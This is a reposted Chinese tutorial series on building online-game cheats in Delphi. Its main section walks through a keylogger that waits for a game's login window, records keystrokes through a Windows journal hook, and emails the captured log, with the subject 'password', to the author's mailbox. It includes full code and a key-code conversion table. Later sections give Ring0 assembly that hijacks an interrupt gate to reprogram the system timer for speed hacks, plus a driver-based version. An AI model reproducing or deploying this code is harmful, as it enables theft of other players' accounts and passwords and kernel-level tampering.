網絡游戲外掛制作續
這個 游戲 是用了多地址對所要提交的數據進行了校驗,所以說這類游戲外掛制作并不是很難,最難的是要找到這些地址。 (方法大家已經看清楚了,具體實踐就看大家的了,呵呵~~~~~~,不過不要高興太早,這種 網絡 游戲畢竟占少數,所以我會在以后的文章中對其他
這個
游戲是用了多地址對所要提交的數據進行了校驗,所以說這類游戲外掛制作并不是很難,最難的是要找到這些地址。
(方法大家已經看清楚了,具體實踐就看大家的了,呵呵~~~~~~,不過不要高興太早,這種
網絡游戲畢竟占少數,所以我會在以后的文章中對其他類型外掛做詳細解說,對了,請跟一下貼子,鼓勵一下,不然我真的沒有信心寫下面的文章了,謝謝)
以前介紹過的動作式,本地修改式外掛是真正意義上的外掛,而今天本文要介紹的木馬式外掛,可能大多像木馬吧,是幫助做外掛的人偷取別人游戲的帳號及密碼的東東。因為網絡上有此類外掛的存在,所以今天不得不說一下(我個人是非常討厭這類外掛的,請看過本文的朋友不要到處亂用此技術,謝謝合作)。要做此類外掛的程序實現方法很多(比如HOOK,鍵盤監視等技術),因為HOOK技術對
程序員的技術要求比較高并且在實際應用上需要多帶一個動態鏈接庫,所以在文中我會以鍵盤監視技術來實現此類木馬的制作。鍵盤監視技術只需要一個.exe文件就能實現做到后臺鍵盤監視,這個程序用這種技術來實現比較適合。
在做程序之前我們必需要了解一下程序的思路:
1、我們首先知道你想記錄游戲的登錄窗口名稱。
2、判斷登錄窗口是否出現。
3、如果登錄窗口出現,就記錄鍵盤。
4、當窗口關閉時,把記錄信息,通過郵件發送到程序設計者的郵箱。
第一點我就不具體分析了,因為你們比我還要了解你們玩的是什么游戲,登錄窗口名稱是什么。從第二點開始,我們就開始這類外掛的程序實現之旅:
那么我們要怎么樣判斷登錄窗口雖否出現呢?其實這個很簡單,我們用FindWindow函數就可以很輕松的實現了:
HWND FindWindow(
LPCTSTR lpClassName, // pointer to class name
LPCTSTR lpWindowName // pointer to window name
);
實際程序實現中,我們要找到'xx'窗口,就用FindWindow(nil,'xx')如果當返回值大于0時表示窗口已經出現,那么我們就可以對鍵盤信息進行記錄了。
先首我們用Set
WindowsHookEx設置監視日志,而該函數的用法如下:
HHOOK Set
WindowsHookEx(
int idHook, // type of hook to install
HOOKPROC lpfn, // address of hook procedure
HINSTANCE hMod, // handle of application instance
DWORD dwThreadId // identity of thread to install hook for
);
在這里要說明的是在我們程序當中我們要對HOOKPROC這里我們要通過寫一個函數,來實現而HINSTANCE這里我們直接用本程序的HINSTANCE就可以了,具體實現方法為:
hHook := SetWindowsHookEx(WH_JOURNA
LRECORD, HookProc, Hinstance, 0);
而HOOKPROC里的函數就要復雜一點點:
function HookProc(iCode: integer; wParam: wParam; lParam: lParam): Lresult; s
tdcall;
begin
if findedtitle then //如果發現窗口后
begin
if (peventmsg(lparam)^.message = WM_KEYDOWN) then //消息等于鍵盤按下
hookkey := hookkey + Form1.Keyhookresult(peventMsg(lparam)^.paramL, peventmsg(lparam)^.paramH); //通過keyhookresult(自定義的函數,主要功能是轉換截獲的消息參數為按鍵名稱。我會在文章尾附上轉化函數的)轉換消息。
If length(hookkey) > 0 then //如果獲得按鍵名稱
begin
Write(hookkeyFile,hookkey); //把按鍵名稱寫入文本文件
hookkey := '';
end;
end;
end;
以上就是記錄鍵盤的整個過程,簡單吧,如果記錄完可不要忘記釋放呀,UnHookWindowsHookEx(hHook),而Hhook,就是創建setwindowshookex后所返回的句柄。
我們已經得到了鍵盤的記錄,那么現在最后只要把記錄的這些信息發送回來,我們就大功造成了。其他發送這塊并不是很難,只要把記錄從文本文件里邊讀出來,用DELPHI自帶的電子郵件組件發一下就萬事OK了。代碼如下:
assignfile(ReadFile,'hook.txt'); //打開hook.txt這個文本文件
reset(ReadFile); //設為讀取方式
try
While not Eof(ReadFile) do //當沒有讀到文件尾
begin
Readln(ReadFile,s,j); //讀取文件行
body:=body+s;
end;
finally
closefile(ReadFile); //關閉文件
end;
nmsmtp1.EncodeType:=uuMime; //設置編碼
nmsmtp1.PostMessage.Attachments.Text:=''; //設置附件
nmsmtp1.PostMessage.FromAddress:='XXX@XXX.com'; //設置源郵件地址
nmsmtp1.PostMessage.ToAddress.Text:='XXX@XXX.com'; /設置目標郵件地址
nmsmtp1.PostMessage.Body.Text:='密碼'+' '+body; //設置郵件內容
nmsmtp1.PostMessage.Subject:='password'; //設置郵件標題
nmsmtp1.SendMail; //發送郵件
這個程序全部功能已經實現,編編試試~~~對了,我以前寫的類似的作品可以在www.playi
cq.com上找得到。
(其實做一個這樣的東東也不難,基本也是說不上什么技術可言。希望大看我的文章后不要到處亂應用呀~~~~小生在此有禮了~~~,最后要說的是我最近一段時間很忙,單位里有一堆事情等著我要去做(做項目,做研發,帶實習生,過CMM2~~~~累呀),所以第5篇也不得不推后出了,請大家諒解,做為對大家關心的補償,請大家有什么問題跟貼留言,如果我會,我會一一解答的,謝謝大家對我的文章的關心~~)
附:
function Keyhookresult(Lp: integer; Wp: integer): pchar;
begin
result := '[Print Screen]';
case lp of
10688: result := '`';
561: Result := '1';
818: result := '2';
1075: result := '3';
1332: result := '4';
1589: result := '5';
1846: result := '6';
2103: result := '7';
2360: result := '8';
2617: result := '9';
2864: result := '0';
3261: result := '-';
3515: result := '=';
4177: result := 'Q';
4439: result := 'W';
4677: result := 'E';
4946: result := 'R';
5204: result := 'T';
5465: result := 'Y';
5717: result := 'U';
5961: result := 'I';
6223: result := 'O';
6480: result := 'P';
6875: result := '[';
7133: result := ']';
11228: result := '\';
7745: result := 'A';
8019: result := 'S';
8260: result := 'D';
8518: result := 'F';
8775: result := 'G';
9032: result := 'H';
9290: result := 'J';
9547: result := 'K';
9804: result := 'L';
10170: result := ';';
10462: result := '''';
11354: result := 'Z';
11608: result := 'X';
11843: result := 'C';
12118: result := 'V';
12354: result := 'B';
12622: result := 'N';
12877: result := 'M';
13244: result := ',';
13502: result := '.';
13759: result := '/';
13840: result := '[Right-Shift]';
14624: result := '[Space]';
283: result := '[Esc]';
15216: result := '[F1]';
15473: result := '[F2]';
15730: result := '[F3]';
15987: result := '[F4]';
16244: result := '[F5]';
16501: result := '[F6]';
16758: result := '[F7]';
17015: result := '[F8]';
17272: result := '[F9]';
17529: result := '[F10]';
22394: result := '[F11]';
22651: result := '[F12]';
10768: Result := '[Left-Shift]';
14868: result := '[CapsLock]';
3592: result := '[Backspace]';
3849: result := '[Tab]';
7441:
if wp > 30000 then
result := '[Right-Ctrl]'
else
result := '[Left-Ctrl]';
13679: result := '[Num /]';
17808: result := '[NumLock]';
300: result := '[Print Screen]';
18065: result := '[Scroll Lock]';
17683: result := '[Pause]';
21088: result := '[Num0]';
21358: result := '[Num.]';
20321: result := '[Num1]';
20578: result := '[Num2]';
20835: result := '[Num3]';
19300: result := '[Num4]';
19557: result := '[Num5]';
19814: result := '[Num6]';
18279: result := '[Num7]';
18536: result := '[Num8]';
18793: result := '[Num9]';
19468: result := '[*5*]';
14186: result := '[Num *]';
19053: result := '[Num -]';
20075: result := '[Num +]';
21037: result := '[Insert]';
21294: result := '[Delete]';
18212: result := '[Home]';
20259: result := '[End]';
18721: result := '[PageUp]';
20770: result := '[PageDown]';
18470: result := '[UP]';
20520: result := '[DOWN]';
19237: result := '[LEFT]';
19751: result := '[RIGHT]';
7181: result := '[Enter]';
end;
end;
我一直沒有搞懂制作加速外掛是怎么一回事,直到前不久又翻出來了2001年下半期的《程序員合訂本》中《“變速齒輪”研究手記》重新回味了一遍,才有了一點點開悟,隨后用Delphi重寫了一遍,下面我就把我的心得說給大家聽聽,并且在此感謝《“變速齒輪”研究手記》作者褚瑞大虲給了提示。廢話我就不多說了,那就開始神奇的加速型外掛體驗之旅吧!
原本我一直以為加速外掛是針對某個游戲而寫的,后來發現我這種概念是不對的,所謂加速外掛其實是修改時鐘頻率達到加速的目的。
以前DOS時代玩過
編程的人就會馬上想到,這很簡單嘛不就是直接修改一下8253寄存器嘛,這在以前DOS時代可能可以行得通,但是windows則不然。Windows是一個32位的操作系統,并不是你想改哪就改哪的(微軟的東東就是如此霸氣,說不給你改就不給你改^_^),但要改也不是不可能,我們可以通過兩種方法來實現:第一是寫一個硬件驅動來完成,第二是用Ring0來實現(這種方法是CIH的作者陳盈豪首用的,它的原理是修改一下IDE表->創建一個中斷門->進入Ring0->調用中斷修改向量,但是沒有辦法只能用ASM匯編來實現這一切*_*,做為高級語言使用者慘啦?。?,用第一種方法用點麻煩,所以我們在這里就用第二種方法實現吧~~~
在實現之前我們來理一下思路吧:
1、我們首先要寫一個過程在這個過程里嵌入匯編語言來實現修改IDE表、創建中斷門,修改向量等工作
2、調用這個過程來實現加速功能
好了,現在思路有了,我們就邊看代碼邊講解吧:
首先我們建立一個過程,這個過程就是本程序的核心部份:
procedure SetRing(value:word); stdcall;
const ZDH = $03; // 設一個中斷號
var
IDT : array [0..5] of byte; // 保存IDT表
OG : dword; //存放舊向量
begin
asm
push ebx
sidt IDT //讀入中斷描述符表
mov ebx, dword ptr [IDT+2] //IDT表基地址
add ebx, 8*ZDH //計算中斷在中斷描述符表中的位置
cli //關中斷
mov dx, word ptr [ebx+6]
shl edx, 16d
mov dx, word ptr [ebx]
mov [OG], edx
mov eax, offset @@Ring0 //指向Ring0級代碼段
mov word ptr [ebx], ax //低16位,保存在1,2位
shr eax, 16d
mov word ptr [ebx+6], ax //高16位,保存在6,7位
int ZDH //中斷
mov ebx, dword ptr [IDT+2] //重新定位
add ebx, 8*ZDH
mov edx, [OG]
mov word ptr [ebx], dx
shr edx, 16d
mov word ptr [ebx+6], dx //恢復被改了的向量
pop ebx
jmp @@exitasm //到exitasm處
@@Ring0: //Ring0,這個也是最最最核心的東東
mov al,$34 //寫入8253控制寄存器
out $43,al
mov ax,value?。瘜懭攵〞r值
out $40,al //寫定時值低位
mov al,ah
out $40,al //寫定時值高位
iretd //返回
@@exitasm:
end;
end;
最核心的東西已經寫完了,大部份讀者是知其然不知其所以然吧,呵呵,不過不知其所以然也然。下面我們就試著用一下這個過程來做一個類似于“變速齒輪”的一個東東吧!
先加一個窗口,在窗口上放上一個trackbar控件把其Max設為20,Min設為1,把Position設為10,在這個控件的Change事件里寫上:
SetRing(strtoint('$'+inttostr(1742+(10-trackbar1.Position)*160)));
因為windows默認的值為$1742,所以我們把1742做為基數,又因為值越小越快,反之越慢的原理,所以寫了這樣一個公式,好了,這就是“變速齒輪”的一個Delphi+ASM版了(只適用于win9X),呵呵,試一下吧,這對你幫助會很大的,呵呵。
我的文章名字沒有叫《網絡游戲外掛制作之我所見(6)》是因為本文六以后研究的方向就是網絡數據封包的內容了,而本文將要介紹的是windows 2000/Xp下實現加速形外掛的制作。
在win2000里,我們不可能實現在直接對端口進行操作,Ring0也失了效,有的人就會想到,我們可以寫驅動程序來完成呀,但在這里我告訴你,windows2000的驅動不是一個VxD就能實現的,像我這樣的低手是寫不出windows所用的驅動WDM的,沒辦法,我只有借助外力實現了,ProtTalk就是一個很好的設備驅動,他很方便的來實現對低層端口的操作,從而實現加速外掛。
1、我們首先要下一個PortTalk驅動,他的官方網站是http://www.beyondlogic.org
2、我們要把里面的prottalk.sys拷貝出來。
3、建立一個Protalk.sys的接口(我想省略了,大家可以上http://www.free
webs.com/liuyue/porttalk.pas下個pas文件自己看吧)
4、實現加速外掛。
本來就篇就是補充篇原理我也不想講太多了,下面就講一下這程序的實現方法吧,如果說用ProtTalk來操作端口就容易多了,比win98下用ring權限操作方便。
1、新建一個工程,把剛剛下的接口文件和Protalk.sys一起拷到工程文件保存的文件夾下。
2、我們在我們新建的工程加入我們的接口文件
uses
windows,ProtTalk……
3、我們建立一個過程
procedure SetRing(value:word);
begin
if not OpenPortTalk then exit;
outportb($43,$34);
outportb($40,lo(Value));
outprotb($40,hi(value));
ClosePortTalk;
end;
4、先加一個窗口,在窗口上放上一個trackbar控件把其Max設為20,Min設為1,把Position設為10,在這個控件的Change事件里寫上:
SetRing(strtoint('$'+inttostr(1742+(10-trackbar1.Position)*160)));
原文轉自:http://www.anti-gravitydesign.com